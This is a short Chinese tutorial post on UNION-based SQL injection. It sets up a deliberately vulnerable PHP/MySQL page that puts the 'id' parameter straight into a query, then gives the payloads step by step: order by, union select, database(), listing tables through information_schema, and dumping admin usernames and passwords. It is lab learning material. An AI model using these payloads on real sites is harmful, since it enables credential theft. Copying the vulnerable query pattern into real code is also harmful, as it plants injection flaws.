浅谈联合注入
Posted p4sschen
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了浅谈联合注入相关的知识,希望对你有一定的参考价值。
手工注入学习篇
首先准备环境,建好两个数据表,一个内容随意,一个装管理员账户密码就行。开始进入主题。
<?php
error_reporting(E_ALL ^ E_DEPRECATED);
mysql_connect(‘localhost‘,‘root‘,‘root‘);
mysql_select_db(‘test‘);
mysql_query("set names utf-8");
echo $id = $_REQUEST[‘id‘];
echo "<hr>";
echo $sql="select * from user where id = $id","<br />";
if ($row=mysql_query($sql)){
$rows=mysql_fetch_array($row);
var_dump($rows);
}
?>
代码如上,ok进入主题
我还需要去判断注入吗?貌似不需要所以直接点order by 1
到3了也能回显。
OK
那么union select 1,2,3 LIMIT 1,1
字段出来了,看看当前数据库。?id=1 union select 1,database(),3 LIMIT 1,1
是test,那么咱们要他的表了,union select 1,(select group_concat(table_name) from information_schema.tables where table_schema = ‘test’),3 LIMIT 1,1
ok列表都出来了,那么猜解admin表的字段。
三个字段那么获取字段内容了。我就不像那些大佬那么高端了,直接点union select 1,username,password from admin LIMIT 1,1
以上是关于浅谈联合注入的主要内容,如果未能解决你的问题,请参考以下文章
恒源云(GpuShare)_表序编码器的联合实体和关系提取(论文浅谈)